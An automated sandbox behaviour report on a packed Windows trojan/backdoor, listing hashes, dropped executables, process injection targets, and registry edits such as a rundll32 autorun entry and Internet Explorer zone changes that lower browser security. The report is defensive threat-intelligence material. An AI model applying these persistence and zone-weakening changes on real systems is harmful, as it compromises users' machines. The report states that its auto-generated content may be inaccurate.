Susp_Dropper (Kaspersky), Trojan.Generic.6923881 (AdAware), Backdoor.Win32.PcClient.FD, Trojan.NSIS.StartPage.FD, Tdl4.YR (Lavasoft MAS)Behaviour: Trojan, Backdoor
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 35f27015c54bef542f360a7c2ba5c229
SHA1: 24bc5d8eb4b6b86a669b5d34a517491b1a78288b
SHA256: edd440aa6244e0fdf1a9bec1dde5b75af2106f40d5142e454abbd8764c3c3c3c
SSDeep: 12288:L1Gqt5hncZZ9EEe91OUd2XLfPRp0laVe569/utO4KHe4M2MNp/ga/DY:Lt4ZMEe91OZXLn0QV9/KpONMNp3M
Size: 766501 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2009-02-21 21:46:23
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):
Done.exe:816
rundll32.exe:2536
WinInstall.exe:1140
Rich.exe:1980
E4U.exe:1932
EuroP.exe:948
SLFAT.exe:1824
%original file name%.exe:1676
_tbp.exe:1900
The Trojan injects its code into the following process(es):
stb1.exe:1840
rundll32.exe:636
tenn2.exe:1076
Gi.exe:188
ntvdm.exe:1112
willwnd.exe:476
IC.exe:1112
Explorer.EXE:532
svchost.exe:1084
spoolsv.exe:1424
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process stb1.exe:1840 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\quickdomainfwd[1].htm (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\js3[1].js (2843 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@quickdomainfwd[1].txt (180 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\min[2].js (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\12224[1].htm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\px[1].js (346 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\numArrow[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\xt.exe (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\min[1].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\track[1].htm (0 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\quickdomainfwd[1].net&pid=9PO755G95 (388 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\px[1].js (346 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\searchIcon[1].gif (1 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\sk-logabpstatus[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\min[1].js (0 bytes)
The process Done.exe:816 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\WinInstall.exe (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nswC.tmp (45 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsmD.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nshB.tmp (0 bytes)
The process tenn2.exe:1076 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\track[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\park.lwken[1].htm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CA44QI0C.htm (0 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012014041520140416 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012014041520140416\index.dat (0 bytes)
The process ntvdm.exe:1112 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM (4 bytes)
C:\ (4 bytes)
%WinDir%\Temp\scs11.tmp (33880 bytes)
%Documents and Settings%\%current user%\Local Settings\APPLICATION DATA (4 bytes)
%WinDir%\assembly (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp (4 bytes)
%WinDir%\Temp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp (4 bytes)
%WinDir%\Microsoft.NET\Framework\v4.0.30319 (672 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\wireshark.txt (440 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\~DF93DE.tmp (4 bytes)
%WinDir%\Microsoft.NET\Framework (96 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\index.dat (1496 bytes)
%WinDir%\Microsoft.NET\Framework\v2.0.50727\CONFIG (4 bytes)
%Documents and Settings%\%current user%\MY DOCUMENTS (4 bytes)
%WinDir%\Fonts (632 bytes)
C:\$Directory (2052 bytes)
%Documents and Settings%\%current user%\Local Settings (4 bytes)
%System%\dllcache (648 bytes)
%System% (6712 bytes)
%WinDir%\Microsoft.NET\Framework\V2.0.50727 (768 bytes)
%WinDir% (1072 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu7.tmp (4185 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\MSHist012016090320160904\index.dat (400 bytes)
%Documents and Settings%\All Users\DOCUMENTS (4 bytes)
%WinDir%\WinSxS\Policies\x86_Policy.8.0.Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_x-ww_77c24773 (4 bytes)
%System%\config (4 bytes)
%WinDir%\Temp\scs12.tmp (10145 bytes)
%Documents and Settings%\%current user% (4 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\index.dat (480 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN (4 bytes)
%WinDir%\MICROSOFT.NET (4 bytes)
%Documents and Settings%\%current user%\Cookies (192 bytes)
The Trojan deletes the following file(s):
%WinDir%\Temp\scs11.tmp (0 bytes)
%WinDir%\Temp\scs12.tmp (0 bytes)
The process WinInstall.exe:1140 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\stb1.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nssF.tmp (1568 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\willwnd.exe (784 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nssE.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi10.tmp (0 bytes)
The process IC.exe:1112 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\4.tmp (601 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\5.tmp (0 bytes)
The process EuroP.exe:948 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Scv..bat (166 bytes)
The process SLFAT.exe:1824 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\7za.exe (18424 bytes)
%Documents and Settings%\%current user%\Application Data\Done.exe (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\a1.7z (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu7.tmp (12234 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nso6.tmp (0 bytes)
The process %original file name%.exe:1676 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\Gi.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\ic2.exe (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\E4U.exe (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\IC.exe (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\SLFAT.exe (12024 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\tenn2.exe (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf2.tmp (14400 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\EuroP.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\Rich.exe (2392 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\_tbp.exe (3312 bytes)
The Trojan deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\ic2.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\E4U.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\Gi.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\tenn2.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\EuroP.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp\_tbp.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsa3.tmp (0 bytes)
The process _tbp.exe:1900 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
%WinDir%\jevc3r.dll (90 bytes)
Registry activity
The process stb1.exe:1840 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"xt.exe" = "xt"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "06 DD 2E 15 F7 F4 DF C9 3C FB FD A9 B5 58 AF CD"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process Done.exe:816 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C8 3E 44 89 FD 5F 17 EC 36 94 E5 B3 1F F9 27 92"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"WinInstall.exe" = "WinInstall"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Temp\7]
"7" = "http://www.flvtube.net/12224"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
The process rundll32.exe:2536 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CB F4 F3 BF 48 1A 02 6A 8B F4 41 28 95 B0 42 6D"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Wtube]
"Bveqayeweci" = "43 01 38 03 58 05 51 07 41 09 44 0B 48 0D 41 0F"
The process rundll32.exe:636 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9C 17 37 C3 5D 6D EB 9D 2B B1 AD A0 FA 6D 0C D4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Wtube]
"Eqegaqojoqoka" = "180"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Ihoragiqinicim" = "rundll32.exe %WinDir%\jevc3r.dll,Startup"
The process tenn2.exe:1076 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016090320160904]
"CacheLimit" = "8192"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016090320160904]
"CachePrefix" = ":2016090320160904:"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016090320160904]
"CacheRepair" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016090320160904]
"CacheOptions" = "11"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 20 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012016090320160904]
"CachePath" = "%USERPROFILE%\Local Settings\History\History.IE5\MSHist012016090320160904\"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7C 2C D7 E3 B1 34 B8 EF 87 9B 3E 12 4E 6B 1E 6A"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following registry key(s):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014041520140416]
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process Gi.exe:188 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EA C4 71 32 C6 6A 22 91 E9 83 40 9F 0A 50 DA 75"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Trojan deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
The process ntvdm.exe:1112 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2B 09 03 5F 70 22 54 6B DB 18 28 99 E1 9B 90 AA"
The process WinInstall.exe:1140 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D 62 3C D3 FA F5 C0 B4 D3 4C 51 56 10 DF A1 1D"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"stb1.exe" = "stb1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
